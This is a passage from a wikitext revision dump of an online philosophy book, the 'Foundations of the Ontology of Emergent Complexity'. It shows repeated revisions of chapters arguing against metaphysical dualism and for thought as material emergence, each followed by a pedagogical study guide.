patterns. It is not a “thing”, but a local and excessive operability. '''The Symbol as Immanent Operation, not Transcendent Reference''' One of the most radical consequences of this position is the redefinition of the status of the symbol. In the metaphysical tradition, the symbol — and, by extension, language — is often treated as a medium pointing beyond itself: to an idea, a meaning, an essence. Even in secularised versions, the symbol is viewed as representing a mental content or a conceptual structure. The present framework refuses this architecture. The symbol is not a window onto another world, nor the vehicle of an immaterial meaning. It is, rather, a material structure that operates upon other material structures — a gesture of reorganisation within matter itself. When a biosomatic system produces a symbol, it is not translating a pre-existing inner thought; it is executing a material operation that reorganises its relations with the environment and with itself. This conception aligns with an operative, non-representational view of language: the symbol is valid by what it does as an immanent mode of representation. Its efficacy is practical and situated. It is an “instrument” in the most material sense of the term — an extension of the body that modulates the world and is modulated by it. There is no “realm of meanings” hovering above the real. There is only matter folding upon itself, producing, at certain points of great complexity, intervals of symbolic consistency that temporarily stabilise the flux of relations. '''Consequences and Programmatic Opening''' To refuse metaphysical dualism is not, therefore, a denial of difference, but its radical relocation. Difference ceases to be a gap between two realms and becomes the signature of the internal modulation of a single, immanent field. The world is not flattened; on the contrary, it is recognised in its constitutive heterogeneity — a heterogeneity that is entirely immanent. The implications of this inaugural gesture are vast and will resonate throughout the work: they reshape our understanding of knowledge (which ceases to be representation and becomes operative inscription), of ethics (to be thought from shared material vulnerability rather than from transcendental laws), and of politics (concerned with the composition of bodies and symbols in a field without ultimate foundation). In refusing dualism, the framework here adopted does not offer a new dogmatic system. On the contrary, it opens a field of interrogation and risk. To accept that there is no “beyond” to which to escape is to accept the tremendous responsibility of thinking and acting in a world that is itself the only source of meaning — a world inconsistent, trembling, yet radically sufficient. == Reading Colloquium == ''This guide accompanies the argument; it does not replace it.'' === 1. Placement of the Text within the Architecture of the Work === This is the inaugural text of the ''Foundations of the Ontology of Emergent Complexity''. It establishes the foundational gesture upon which the entire architecture depends: the refusal of metaphysical dualism. Without this refusal, the framework's subsequent moves — the dissolution of the two-worlds fiction (§1.2), the material account of thought (§1.3), the operative theory of the symbol (§1.4), and the rejection of ground and teleology (§1.5) — would remain trapped within the very structures they seek to displace. This section is not merely a preamble; it is the condition of possibility for the entire ontology. === 2. Philosophical Problem at Stake === The problem is structural: Western philosophy has been constituted through the repeated installation of a dualist architecture — matter/thought, body/soul, sensible/intelligible, finite/infinite — in which one pole is elevated to the status of ground, origin, or measure, and the other is subordinated as derivative, deficient, or apparent. The question this text confronts is not whether any particular dualism is correct or incorrect, but whether the dualist gesture itself — the operation of splitting being into two domains — can be refused without simply inverting the hierarchy. Can thought be placed inside matter without reducing it to mechanism? Can transcendence be refused without collapsing into a flat materialism that cannot account for the complexity of the symbolic? === 3. Core Thesis and Conceptual Reorganisation === The thesis is that dualism is not a descriptive error but an ontological strategy — a symbolic operation designed to secure the authority of philosophy by immunising intelligibility against the instability of the material field. The argument refuses this strategy by relocating thought, the symbol, and ethical responsibility within the immanent field of matter. This is not a reduction but a complexification: matter is not the inert substrate that dualism describes, but an unstable field capable of producing, at specific thresholds of complexity, the very operations (thought, inscription, self-reference) that dualism attributed to a separate domain. === 4. Key Concepts and Their Articulation === The key concepts introduced here include the refusal of transcendence as a constitutive gesture (not a conclusion but a point of departure), the biosoma as the material-operative body that replaces the mind/body split, operative excess as the condition that forces symbolic production, and thought as modulation of matter rather than as the activity of a separate substance. The section also performs critical engagements with Derrida (différance as residual transcendence), Lacan (the Symbolic order as pre-material structure), Levinas (ethical alterity as infinite transcendence), and Simondon (the pre-individual as virtual reservoir), retaining their insights while refusing the transcendent residues in each. === 5. Implications for Readers and Pedagogical Pathways === Readers should attend to the precision of the refusal: it is not anti-rationalist, not irrationalist, and not a simple materialism that denies the reality of thought. It is a relocation. Students familiar with continental philosophy will recognise the interlocutors; the challenge is to see how each is both retained and displaced. The key pedagogical move is to understand that "placing thought inside matter" does not mean explaining thought away — it means showing that matter is already more complex than any dualist framework can accommodate. Readers are encouraged to test this claim against their own philosophical commitments: where does transcendence reappear in frameworks that claim to have overcome it? == [[Foundations of the Ontology of Emergent Complexity/References|🜂 References]] == {{BookCat}} 8q9m243tzehdvhmciaz9k88phalbmhx 4670853 4670817 2026-09-18T02:36:38Z ~2026-50388-95 3626216 /* 1. Placement of the Text within the Architecture of the Work */ 4670853 wikitext text/x-wiki == 1.1 - Refusal of Metaphysical Dualism == '''Introduction''' Metaphysical dualism — the belief in an ontological split between matter and thought, between the extended and the internal, between what is acted upon and what gives meaning — is not merely one doctrine among others in the history of philosophy. It is the foundational operation through which Western metaphysics secured its authority. Rather than describing reality, dualism organised an ontological hierarchy: between the visible and the invisible, the contingent and the necessary, the finite and the infinite. It did not simply distinguish levels of reality; it installed a logic of transcendence that positioned one pole as source and measure of the other, subordinating the sensible to the intelligible, the body to the soul, experience to reason. This logic, more than any particular doctrine, is what the Ontology of Emergent Complexity (OEC) refuses radically. Its critique does not target specific theories, but the operative gesture of separation that makes them possible. The refusal, in the framework here adopted, is therefore not a mere counter-argument. It is a shift of philosophical ground. In refusing the dualist gesture, the framework dislodges thought from its transcendent anchor and returns it to the immanent field of matter in transformation. This position does not deny the complexity of thought or of the symbolic; on the contrary, it affirms them by showing them as an effect of material complexification and not as an exterior principle. What is at stake is the possibility of an ontology that does not resort to an “outside” to explain intelligence, consciousness or meaning. '''The Dualist Architecture and its Stabilising Function''' The history of Western philosophy can be read as the history of successive reconfigurations of dualism. From Plato’s Idea, an immutable archetype set against the sensible world in becoming, through Augustine’s immortal soul, which transcends the sinful body, to Descartes’ radical separation between res cogitans and res extensa, the gesture is reiterated: a pure instance is established, uncontaminated by materiality, which serves as the foundation for knowledge and value. This architecture is not epistemologically neutral; it functions as a mechanism of symbolic stabilisation. By projecting the source of meaning outside the material, temporal and contingent world, metaphysics protects intelligibility from empirical disorder. In Kant, this operation is displaced to the transcendental subject and its a priori structures, which constitute possible experience, leaving the noumenon as an inaccessible beyond. In Husserl, it is the phenomenological reduction that seeks a pure subjectivity. Even in Heidegger, the ontological difference between Being and beings, while criticising the metaphysics of presence, maintains an opening to an instance (Being) that is not exhausted by material entities. Dualism, then, is not an error but an ontological strategy. It secures the authority of philosophy by founding knowledge in an order that, by definition, escapes the vagaries of matter. The present framework refuses this strategy not because it is logically flawed, but because it is understood as a flight from the radicality of the real — a real that is, by nature, unstable, asymmetrical and without guarantees. '''The Persistence of Transcendence in Critiques of Dualism''' One of the most important moves in this framework is to show how the dualist gesture survives even in philosophies that set out to overcome it. Post-structuralism, for instance, in deconstructing classical binary oppositions, often reintroduces transcendence under new conceptual guises. Derrida’s différance, as a trace that always escapes presence, functions as a principle of infinite deferral that never allows itself to be fully captured by material immanence. Lacan’s symbolic order is a structure that precedes and determines the subject, operating as an Other locus of signification inaccessible to direct conscious experience. Levinas’s ethics of alterity, in placing the Face of the Other as infinitely transcendent, institutes an ethical asymmetry that, however powerful, maintains an exteriority irreducible to material relation. These thinkers achieve crucial advances in displacing the focus from substance to relation, from identity to difference. Nevertheless, the argument here is that by preserving an “outside” — whether the trace, the Symbolic or the Infinite — they remain captive to the very logic they intended to dismantle. Their critique of classical metaphysics is thus incomplete. The proposed radicalisation is clear: no instance escapes the plane of matter. There is no “outside” from which meaning emanates. All efficacy, including symbolic efficacy, is material. '''Thought as Modulation of Matter: Beyond Simondon''' If there is no separate thinking substance, how are we to understand thought? The framework adopted here does not reduce thought to a cerebral epiphenomenon; it proposes to understand it as a specific modulation of matter. Thought appears when a material system — the biosoma — reaches such a threshold of complexity that it becomes capable of operating recursively upon its own configurations. This view finds an important ally in Gilbert Simondon and his theory of individuation: for Simondon, the individual is not a pred given substance, but the result of a process of tension-resolution within a metastable field. The present ontology embraces this idea of a becoming that precedes being, yet diverges at a crucial point: it rejects the notion of a pre-individual field as a reservoir of potentiality prior to individuation. For the present framework, there is no “before” of form that is not already itself a tensioned material configuration. Matter is not a shapeless background awaiting form; it is a field of forces always already organised, albeit unstably. “Potentiality” is not a virtual domain, but the very plasticity of matter in becoming. This refusal of the pre-individual is decisive: it prevents any return, however discreet, to a transcendence or to a reservoir of meaning exterior to the material process. Thought is, therefore, an effect of threshold — a functional reorganisation that emerges when matter, under the pressure of complex relations, acquires the capacity to refer to itself, to displace and to reorganise its own patterns. It is not a “thing”, but a local and excessive operability. '''The Symbol as Immanent Operation, not Transcendent Reference''' One of the most radical consequences of this position is the redefinition of the status of the symbol. In the metaphysical tradition, the symbol — and, by extension, language — is often treated as a medium pointing beyond itself: to an idea, a meaning, an essence. Even in secularised versions, the symbol is viewed as representing a mental content or a conceptual structure. The present framework refuses this architecture. The symbol is not a window onto another world, nor the vehicle of an immaterial meaning. It is, rather, a material structure that operates upon other material structures — a gesture of reorganisation within matter itself. When a biosomatic system produces a symbol, it is not translating a pre-existing inner thought; it is executing a material operation that reorganises its relations with the environment and with itself. This conception aligns with an operative, non-representational view of language: the symbol is valid by what it does as an immanent mode of representation. Its efficacy is practical and situated. It is an “instrument” in the most material sense of the term — an extension of the body that modulates the world and is modulated by it. There is no “realm of meanings” hovering above the real. There is only matter folding upon itself, producing, at certain points of great complexity, intervals of symbolic consistency that temporarily stabilise the flux of relations. '''Consequences and Programmatic Opening''' To refuse metaphysical dualism is not, therefore, a denial of difference, but its radical relocation. Difference ceases to be a gap between two realms and becomes the signature of the internal modulation of a single, immanent field. The world is not flattened; on the contrary, it is recognised in its constitutive heterogeneity — a heterogeneity that is entirely immanent. The implications of this inaugural gesture are vast and will resonate throughout the work: they reshape our understanding of knowledge (which ceases to be representation and becomes operative inscription), of ethics (to be thought from shared material vulnerability rather than from transcendental laws), and of politics (concerned with the composition of bodies and symbols in a field without ultimate foundation). In refusing dualism, the framework here adopted does not offer a new dogmatic system. On the contrary, it opens a field of interrogation and risk. To accept that there is no “beyond” to which to escape is to accept the tremendous responsibility of thinking and acting in a world that is itself the only source of meaning — a world inconsistent, trembling, yet radically sufficient. == Reading Colloquium == ''This guide accompanies the argument; it does not replace it.'' === 1. Placement of the Text within the Architecture of the Work === This is the inaugural text of the ''Foundations of the Ontology of Emergent Complexity''. It establishes the foundational gesture upon which the entire architecture depends: the refusal of metaphysical dualism. Without this refusal, the framework's subsequent moves — the dissolution of the two-worlds fiction (1.2), the material account of thought (1.3), the operative theory of the symbol (1.4), and the rejection of ground and teleology (1.5) — would remain trapped within the very structures they seek to displace. This section is not merely a preamble; it is the condition of possibility for the entire ontology. === 2. Philosophical Problem at Stake === The problem is structural: Western philosophy has been constituted through the repeated installation of a dualist architecture — matter/thought, body/soul, sensible/intelligible, finite/infinite — in which one pole is elevated to the status of ground, origin, or measure, and the other is subordinated as derivative, deficient, or apparent. The question this text confronts is not whether any particular dualism is correct or incorrect, but whether the dualist gesture itself — the operation of splitting being into two domains — can be refused without simply inverting the hierarchy. Can thought be placed inside matter without reducing it to mechanism? Can transcendence be refused without collapsing into a flat materialism that cannot account for the complexity of the symbolic? === 3. Core Thesis and Conceptual Reorganisation === The thesis is that dualism is not a descriptive error but an ontological strategy — a symbolic operation designed to secure the authority of philosophy by immunising intelligibility against the instability of the material field. The argument refuses this strategy by relocating thought, the symbol, and ethical responsibility within the immanent field of matter. This is not a reduction but a complexification: matter is not the inert substrate that dualism describes, but an unstable field capable of producing, at specific thresholds of complexity, the very operations (thought, inscription, self-reference) that dualism attributed to a separate domain. === 4. Key Concepts and Their Articulation === The key concepts introduced here include the refusal of transcendence as a constitutive gesture (not a conclusion but a point of departure), the biosoma as the material-operative body that replaces the mind/body split, operative excess as the condition that forces symbolic production, and thought as modulation of matter rather than as the activity of a separate substance. The section also performs critical engagements with Derrida (différance as residual transcendence), Lacan (the Symbolic order as pre-material structure), Levinas (ethical alterity as infinite transcendence), and Simondon (the pre-individual as virtual reservoir), retaining their insights while refusing the transcendent residues in each. === 5. Implications for Readers and Pedagogical Pathways === Readers should attend to the precision of the refusal: it is not anti-rationalist, not irrationalist, and not a simple materialism that denies the reality of thought. It is a relocation. Students familiar with continental philosophy will recognise the interlocutors; the challenge is to see how each is both retained and displaced. The key pedagogical move is to understand that "placing thought inside matter" does not mean explaining thought away — it means showing that matter is already more complex than any dualist framework can accommodate. Readers are encouraged to test this claim against their own philosophical commitments: where does transcendence reappear in frameworks that claim to have overcome it? == [[Foundations of the Ontology of Emergent Complexity/References|🜂 References]] == {{BookCat}} 4fg1q3hl7rbtifujpda2mu66ysq37ll 0 476956 4670753 4670207 2026-09-17T23:41:55Z DavidCota64 3507033 Correct canonical term: “Ontology of Emerging Complexity” → “Ontology of Emergent Complexity” 4670753 wikitext text/x-wiki == 1.2 - Against the Invention of Two Worlds == The history of Western thought is not simply marked by dualism — it is produced by it. The division between two orders of reality, one ideal and the other material, one immutable and the other corruptible, was not a neutral philosophical distinction. It was an ontological strategy. A fiction powerful enough to regulate thought itself. From the luminous realm of Ideas in Plato [https://books.google.pt/books/about/Plato_Complete_Works.html?id=fMhgDwAAQBAJ&redir_esc=y (''Plato, 1997, p. 1132; p. 1259'')] to the Cartesian opposition of ''res cogitans'' and ''res extensa'' [https://search.worldcat.org/pt/search?q=%28Descartes%2C+1996%2C+p.+26%3B+p.+59%29&offset=1 (''Descartes, 1996, p. 26; p. 59'')], what was invented was not merely a vocabulary — but a topology of being that placed sense, value, and intelligibility on one side, and contingency, opacity, and error on the other. This invention was not innocent. It allowed philosophy to stabilize itself by exiling instability. By assigning disorder, transformation, and imperfection to the lower world — the world of matter, bodies, time — it created a sanctuary for truth untouched by becoming. The intelligible was protected not through demonstration, but through exclusion. It is not that thought discovered a higher realm; it constructed it in order to escape the pressures of what resists coherence. The asymmetry was never concealed. The two worlds were never equal. One governed, the other served. The ideal was origin, foundation, law; the material was effect, fall, copy. Even when their relation was dialectical, as in Neoplatonism (''Plotinus, 1966, p. 198'') or Hegelianism (''Hegel, 1977, p. 27; p. 45''), the movement still ascended. Mediation was not horizontal but hierarchical — a ladder toward restoration. Kant displaced the metaphysical hierarchy into epistemology (''Kant, 1998, p. 360''), but retained the split: the noumenon remained unreachable, the thing-in-itself forever bracketed. Experience, in this configuration, is always partial, always suspect, always a veil. This structure survives even in those who claimed to dismantle it. Heidegger reconfigures the question of Being, but inscribes it in a difference that is never exhausted by beings (''Heidegger, 1962, p. 41''). Levinas radicalizes ethical relation (''Levinas, 1969, p. 77''), but anchors it in an alterity that precedes any material encounter. Derrida insists on deferral, yet the trace functions as an absence that cannot be reabsorbed into presence (''Derrida, 1976, p. 71''). Each, in their own way, preserves a hidden surplus — a remainder that eludes the field of immanence. The ontology here rejects this architecture in its entirety. There is no realm beyond material organization, no pure alterity that escapes relation, no ontological tier immune to modulation. Emergence is not the appearance of the higher in the lower. It is the operation of matter at the threshold of complexity. What exists does not echo another plane. It configures itself here, in the trembling of systems without foundation. There are not two worlds. There is only one — unstable, excessive, ungrounded — and it is enough. == 🜂 Reading Colloquium – Pedagogical Framing == ''(For students and readers in formation. This section does not replace the text — it accompanies it.)'' === 1. Placement of the Text within the Architecture of the Work === This second text builds directly upon the refusal of dualism (Text I), but introduces a strategic shift: it moves from conceptual structure to historical gesture. The focus is not merely on critiquing a theoretical separation between matter and thought, but on dismantling the very invention of “two worlds” as a foundational act of philosophical self-legitimation. The text argues that this is not a descriptive distinction, but an ontological operation that founded the authority of Western thought by excluding instability. === 2. Philosophical Problem at Stake === The core question here is: what symbolic and political function is fulfilled by the division between an ideal world and a sensible one? Contrary to a naive reading of philosophy’s history, the text asserts that this division is not a discovery but a normative invention — a fiction that regulates what counts as intelligible by excluding time, bodies, error, and transformation. This foundational fiction enabled philosophy to expel instability, not by rational refutation but by symbolic hierarchy. The material world was relegated to the status of fall, copy, or noise. === 3. Core Thesis and Conceptual Reorganization === The Ontology of Emergent Complexity rejects this entire architecture of two worlds. It does not replace it with a new hierarchy, but refuses the founding gesture that created the asymmetry between the ideal and the material. Emergence is not the appearance of something higher within something lower, but a material operation at the threshold of complexity. This shift leads to a reconfiguration of key philosophical concepts: origin, truth, meaning, and relation. Thought does not ascend — it modulates. Difference does not arrive from outside — it erupts internally. The real does not need another realm to justify itself — it is sufficient unto itself, in its instability and excess. === 4. Key Concepts and Their Articulation === * '''Invention of Two Worlds''': the foundational metaphysical operation that divides being into ideal and material orders. * '''Symbolic Hierarchy''': the structure that subjects the sensible world to a superior plane of meaning, framing it as copy, error, or lack. * '''Ontological Fiction''': a philosophical construct that regulates thought by excluding the unstable. * '''Emergence''': a threshold operation within matter — not ascension, not manifestation of a higher order. * '''Rejection of Transcendence''': refusal of any “plane of being” exterior or prior to the real in transformation. The text demonstrates how even critical thinkers like Heidegger, Levinas, and Derrida retain subtle forms of transcendence through a remainder that cannot be materialized: being that exceeds beings, alterity that precedes relation, the trace that escapes presence. Against this, the OEC asserts the radical sufficiency of immanence. === 5. Implications for Readers and Pedagogical Pathways === This text helps identify a recurring blind spot: the assumption that meaning requires an “elsewhere.” By showing that this demand for exteriority is historically constructed, the text challenges the reader to think the real as sufficient, without appeal to higher planes. Suggestions for classroom or study group engagement: * Map the evolution of the “two worlds” idea from Plato to Kant and Hegel. * Analyze how hierarchical structures persist even in philosophies of difference or alterity. * Discuss how this division still operates in contemporary discourses (e.g., spiritualism, techno-gnosis, idealized aesthetics). * Exercise: imagine what a radically immanent thought would be — with no “outside,” no transcendence, no foundation. {{BookCat}} 3wsfnm91qpqqvycbfr9cxyjii6upv3k 4670823 4670753 2026-09-18T02:00:59Z DavidCota64 3507033 Use British English consistently in prose and pedagogical headings 4670823 wikitext text/x-wiki == 1.2 - Against the Invention of Two Worlds == The history of Western thought is not simply marked by dualism — it is produced by it. The division between two orders of reality, one ideal and the other material, one immutable and the other corruptible, was not a neutral philosophical distinction. It was an ontological strategy. A fiction powerful enough to regulate thought itself. From the luminous realm of Ideas in Plato [https://books.google.pt/books/about/Plato_Complete_Works.html?id=fMhgDwAAQBAJ&redir_esc=y (''Plato, 1997, p. 1132; p. 1259'')] to the Cartesian opposition of ''res cogitans'' and ''res extensa'' [https://search.worldcat.org/pt/search?q=%28Descartes%2C+1996%2C+p.+26%3B+p.+59%29&offset=1 (''Descartes, 1996, p. 26; p. 59'')], what was invented was not merely a vocabulary — but a topology of being that placed sense, value, and intelligibility on one side, and contingency, opacity, and error on the other. This invention was not innocent. It allowed philosophy to stabilize itself by exiling instability. By assigning disorder, transformation, and imperfection to the lower world — the world of matter, bodies, time — it created a sanctuary for truth untouched by becoming. The intelligible was protected not through demonstration, but through exclusion. It is not that thought discovered a higher realm; it constructed it in order to escape the pressures of what resists coherence. The asymmetry was never concealed. The two worlds were never equal. One governed, the other served. The ideal was origin, foundation, law; the material was effect, fall, copy. Even when their relation was dialectical, as in Neoplatonism (''Plotinus, 1966, p. 198'') or Hegelianism (''Hegel, 1977, p. 27; p. 45''), the movement still ascended. Mediation was not horizontal but hierarchical — a ladder toward restoration. Kant displaced the metaphysical hierarchy into epistemology (''Kant, 1998, p. 360''), but retained the split: the noumenon remained unreachable, the thing-in-itself forever bracketed. Experience, in this configuration, is always partial, always suspect, always a veil. This structure survives even in those who claimed to dismantle it. Heidegger reconfigures the question of Being, but inscribes it in a difference that is never exhausted by beings (''Heidegger, 1962, p. 41''). Levinas radicalizes ethical relation (''Levinas, 1969, p. 77''), but anchors it in an alterity that precedes any material encounter. Derrida insists on deferral, yet the trace functions as an absence that cannot be reabsorbed into presence (''Derrida, 1976, p. 71''). Each, in their own way, preserves a hidden surplus — a remainder that eludes the field of immanence. The ontology here rejects this architecture in its entirety. There is no realm beyond material organization, no pure alterity that escapes relation, no ontological tier immune to modulation. Emergence is not the appearance of the higher in the lower. It is the operation of matter at the threshold of complexity. What exists does not echo another plane. It configures itself here, in the trembling of systems without foundation. There are not two worlds. There is only one — unstable, excessive, ungrounded — and it is enough. == 🜂 Reading Colloquium – Pedagogical Framing == ''(For students and readers in formation. This section does not replace the text — it accompanies it.)'' === 1. Placement of the Text within the Architecture of the Work === This second text builds directly upon the refusal of dualism (Text I), but introduces a strategic shift: it moves from conceptual structure to historical gesture. The focus is not merely on critiquing a theoretical separation between matter and thought, but on dismantling the very invention of “two worlds” as a foundational act of philosophical self-legitimation. The text argues that this is not a descriptive distinction, but an ontological operation that founded the authority of Western thought by excluding instability. === 2. Philosophical Problem at Stake === The core question here is: what symbolic and political function is fulfilled by the division between an ideal world and a sensible one? Contrary to a naive reading of philosophy’s history, the text asserts that this division is not a discovery but a normative invention — a fiction that regulates what counts as intelligible by excluding time, bodies, error, and transformation. This foundational fiction enabled philosophy to expel instability, not by rational refutation but by symbolic hierarchy. The material world was relegated to the status of fall, copy, or noise. === 3. Core Thesis and Conceptual Reorganisation === The Ontology of Emergent Complexity rejects this entire architecture of two worlds. It does not replace it with a new hierarchy, but refuses the founding gesture that created the asymmetry between the ideal and the material. Emergence is not the appearance of something higher within something lower, but a material operation at the threshold of complexity. This shift leads to a reconfiguration of key philosophical concepts: origin, truth, meaning, and relation. Thought does not ascend — it modulates. Difference does not arrive from outside — it erupts internally. The real does not need another realm to justify itself — it is sufficient unto itself, in its instability and excess. === 4. Key Concepts and Their Articulation === * '''Invention of Two Worlds''': the foundational metaphysical operation that divides being into ideal and material orders. * '''Symbolic Hierarchy''': the structure that subjects the sensible world to a superior plane of meaning, framing it as copy, error, or lack. * '''Ontological Fiction''': a philosophical construct that regulates thought by excluding the unstable. * '''Emergence''': a threshold operation within matter — not ascension, not manifestation of a higher order. * '''Rejection of Transcendence''': refusal of any “plane of being” exterior or prior to the real in transformation. The text demonstrates how even critical thinkers like Heidegger, Levinas, and Derrida retain subtle forms of transcendence through a remainder that cannot be materialized: being that exceeds beings, alterity that precedes relation, the trace that escapes presence. Against this, the OEC asserts the radical sufficiency of immanence. === 5. Implications for Readers and Pedagogical Pathways === This text helps identify a recurring blind spot: the assumption that meaning requires an “elsewhere.” By showing that this demand for exteriority is historically constructed, the text challenges the reader to think the real as sufficient, without appeal to higher planes. Suggestions for classroom or study group engagement: * Map the evolution of the “two worlds” idea from Plato to Kant and Hegel. * Analyze how hierarchical structures persist even in philosophies of difference or alterity. * Discuss how this division still operates in contemporary discourses (e.g., spiritualism, techno-gnosis, idealized aesthetics). * Exercise: imagine what a radically immanent thought would be — with no “outside,” no transcendence, no foundation. {{BookCat}} afunkrx26vv52g5wxzc2dlqvkxj0tf4 0 476957 4670755 4670225 2026-09-17T23:42:07Z DavidCota64 3507033 Correct canonical term: “Ontology of Emerging Complexity” → “Ontology of Emergent Complexity” 4670755 wikitext text/x-wiki == 1.3 - Matter Thinks — But Not Like a Subject == Thought is not the arrival of something else into matter. It is not a visitation, a penetration, or a reflex of an immaterial realm. Thought does not descend — it emerges. It is not the sign of an interiority breaking through material opacity, but the operation of matter reaching thresholds of internal differentiation such that symbolic response becomes possible. There is no need to invoke a soul, a substance, or a second order of being. Thought is a function — not of representation, but of reorganization. A material gesture, recursive and selective, that configures the real in ways that allow for modulation, memory, and displacement. This requires a radical shift. To say that matter thinks is not to attribute intentionality, cognition, or self-awareness to the physical world. It is to assert that what we call thought — when stripped of its anthropocentric residues — can be understood as a certain kind of operability within complex systems. When a system becomes capable of responding not only to input but to its own configurations, when it can reorganize its internal structure in light of relational thresholds, a new regime of material behavior appears. This is not consciousness in the classical sense. It is not self-reflection. It is recursive functionality. Symbolic operability. Not subjectivity — but emergence. This position resonates, partially, with Gilbert Simondon’s theory of individuation — notably articulated in ''L’individuation à la lumière des notions de forme et d’information'', where beings are not given substances but emerge through processes of modulation within metastable fields (''Simondon, 2005, p. 215''). For Simondon, individuation is a becoming — not a static being. Yet even there, a distinction remains between the pre-individual and the individuated — a layered ontology that is here refused. There is no before. No hidden potentiality. Only operations within matter — varying in intensity, scale, and recursive complexity. Spinoza offers a powerful non-dualist model, positing that thought and extension are parallel attributes of the same substance (''Spinoza, 2006, p. 83''). But by preserving the notion of attributes, he sustains a formal structure of duality. The parallelism avoids interaction, yet maintains a bifurcated schema — two expressions of the same substance, but distinct and irreducible. Thought and extension, however, need not be distinct modes: they may be seen as inflections within one continuous material field. Thought is not a separate manifestation of substance. It is a particular modulation within the immanent flux of matter, arising when material systems acquire the capacity for symbolic reconfiguration. Even Deleuze, whose philosophy of difference and becoming offers essential resources, retains the notion of a virtual — a realm of potentiality that subtends the actual (''Deleuze, 1994, p. 208''). This risks reinstating a reserve behind the real, a transcendent consistency beyond matter. But thought does not require this reserve. There is no virtual beneath the actual. There is only matter, operating under pressure, producing patterns that may, under specific conditions, become symbolic. No plane of immanence is required beyond the one that trembles here. To say that the body is the mind is not metaphor — it is a consequence. The body is not a container of thought, nor its expression. It is its very condition. When the biosomatic complexity of a system — a living material configuration capable of recursive self-modulation — reaches a point where its internal operations can refer, displace, and reorganize themselves, what appears is not a subject — but a symbolic fold. There is no thinker behind the thought. There is only the act of matter becoming thought by inscribing itself differently. This is why any ontology of levels must be refused. There is no transition from matter to thought, no leap, no elevation. Thought is not another substance, another realm, another language. It is material relation crossing a threshold. What we call intelligence, sense, interpretation — these are names for the moment when matter becomes capable of sustaining differential patterns symbolically. Not because it desires, intends, or knows — but because, under excess, it reorganizes. To think is not to rise above. It is to intensify relation to the point where the world begins to fold back upon itself, symbolically — without foundation, without interiority, without subject. == 🜂 Reading Colloquium – Pedagogical Framing == ''(For students and readers in formation. This section does not replace the text — it accompanies it.)'' === 1. Placement of the Text within the Architecture of the Work === This is the third text of the ''Foundations of the Ontology of Emergent Complexity'', and it marks a turning point. After the refusal of dualism (Text I) and the dismantling of the two-worlds fiction (Text II), this text shifts the focus to the positive field of the emergence of thought. That is, instead of merely deconstructing inherited frameworks, it begins to articulate an alternative ontology: a materialist theory of thought as functional reorganization. It is a crucial inflection point in the construction of the OEC, as it clarifies how thinking is possible without invoking a subject or any form of transcendence. === 2. Philosophical Problem at Stake === The core question is precise and profound: how can we think thought without invoking a subject, an interiority, or a realm separate from matter? Even non-dualist philosophical traditions tend to retain some form of ontological separation — as attribute (Spinoza), virtual (Deleuze), or pre-individual (Simondon). This text refuses all such reserves and proposes a response: thought is a material effect of complexity reorganizing itself symbolically. === 3. Core Thesis and Conceptual Reorganization === The central thesis may be formulated as follows: thought is a material operation that emerges from an internal excess of complexity, when a system acquires the capacity for recursive symbolic reorganization. This means that thought is not an external plane, a separate faculty, or an invisible essence — it is a local effect of intensive modulation within a material system. Classical subjectivity is thus replaced by a functional notion of symbolic folding of matter upon itself. This reformulation shifts the question from “who thinks?” to “what happens when matter reinscribes itself symbolically?” === 4. Key Concepts and Their Articulation === * '''Thought as a Material Function''': an operation of symbolic reconfiguration internal to complex systems. * '''Rejection of Interiorization''': there is no hidden thinking subject, only self-modulating material processes. * '''Biosoma''': a living material system capable of reaching symbolic thresholds through operational self-reference. * '''Symbolic Recursivity''': the ability of a structure to reorganize itself based on its own prior configurations. * '''Refusal of Ontological Reserves''': critique of the pre-individual (Simondon), parallel attributes (Spinoza), and the virtual (Deleuze) as residues of transcendence. By rejecting any hidden plane (virtual, noumenal, or substantial), the text affirms a pure materiality of symbolic emergence — without the need for a “before,” an “outside,” or a “beyond.” === 5. Implications for Readers and Pedagogical Pathways === This text demands a radical letting go of the classical image of mind. There is no consciousness as reflection, no cognition as intentional mediation. What there is, is material symbolic organization — thinkability without subject. Suggestions for further engagement in pedagogical contexts: * Compare with the authors discussed: Simondon (pre-individual), Spinoza (attributes), Deleuze (virtual). * Debate the idea of “thought without a subject”: how does this differ from mere technical automatism? * Work through the concept of a symbolic threshold as a moment of material reorganization. * Exercise: rewrite the phrase “the body is the mind” in light of this proposal — not as metaphor, but as ontological consequence. {{BookCat}} 49tjr6d8aphvgzrlmpufs5ozcm6d3h8 4670824 4670755 2026-09-18T02:01:02Z DavidCota64 3507033 Use British English consistently in prose and pedagogical headings 4670824 wikitext text/x-wiki == 1.3 - Matter Thinks — But Not Like a Subject == Thought is not the arrival of something else into matter. It is not a visitation, a penetration, or a reflex of an immaterial realm. Thought does not descend — it emerges. It is not the sign of an interiority breaking through material opacity, but the operation of matter reaching thresholds of internal differentiation such that symbolic response becomes possible. There is no need to invoke a soul, a substance, or a second order of being. Thought is a function — not of representation, but of reorganisation. A material gesture, recursive and selective, that configures the real in ways that allow for modulation, memory, and displacement. This requires a radical shift. To say that matter thinks is not to attribute intentionality, cognition, or self-awareness to the physical world. It is to assert that what we call thought — when stripped of its anthropocentric residues — can be understood as a certain kind of operability within complex systems. When a system becomes capable of responding not only to input but to its own configurations, when it can reorganize its internal structure in light of relational thresholds, a new regime of material behavior appears. This is not consciousness in the classical sense. It is not self-reflection. It is recursive functionality. Symbolic operability. Not subjectivity — but emergence. This position resonates, partially, with Gilbert Simondon’s theory of individuation — notably articulated in ''L’individuation à la lumière des notions de forme et d’information'', where beings are not given substances but emerge through processes of modulation within metastable fields (''Simondon, 2005, p. 215''). For Simondon, individuation is a becoming — not a static being. Yet even there, a distinction remains between the pre-individual and the individuated — a layered ontology that is here refused. There is no before. No hidden potentiality. Only operations within matter — varying in intensity, scale, and recursive complexity. Spinoza offers a powerful non-dualist model, positing that thought and extension are parallel attributes of the same substance (''Spinoza, 2006, p. 83''). But by preserving the notion of attributes, he sustains a formal structure of duality. The parallelism avoids interaction, yet maintains a bifurcated schema — two expressions of the same substance, but distinct and irreducible. Thought and extension, however, need not be distinct modes: they may be seen as inflections within one continuous material field. Thought is not a separate manifestation of substance. It is a particular modulation within the immanent flux of matter, arising when material systems acquire the capacity for symbolic reconfiguration. Even Deleuze, whose philosophy of difference and becoming offers essential resources, retains the notion of a virtual — a realm of potentiality that subtends the actual (''Deleuze, 1994, p. 208''). This risks reinstating a reserve behind the real, a transcendent consistency beyond matter. But thought does not require this reserve. There is no virtual beneath the actual. There is only matter, operating under pressure, producing patterns that may, under specific conditions, become symbolic. No plane of immanence is required beyond the one that trembles here. To say that the body is the mind is not 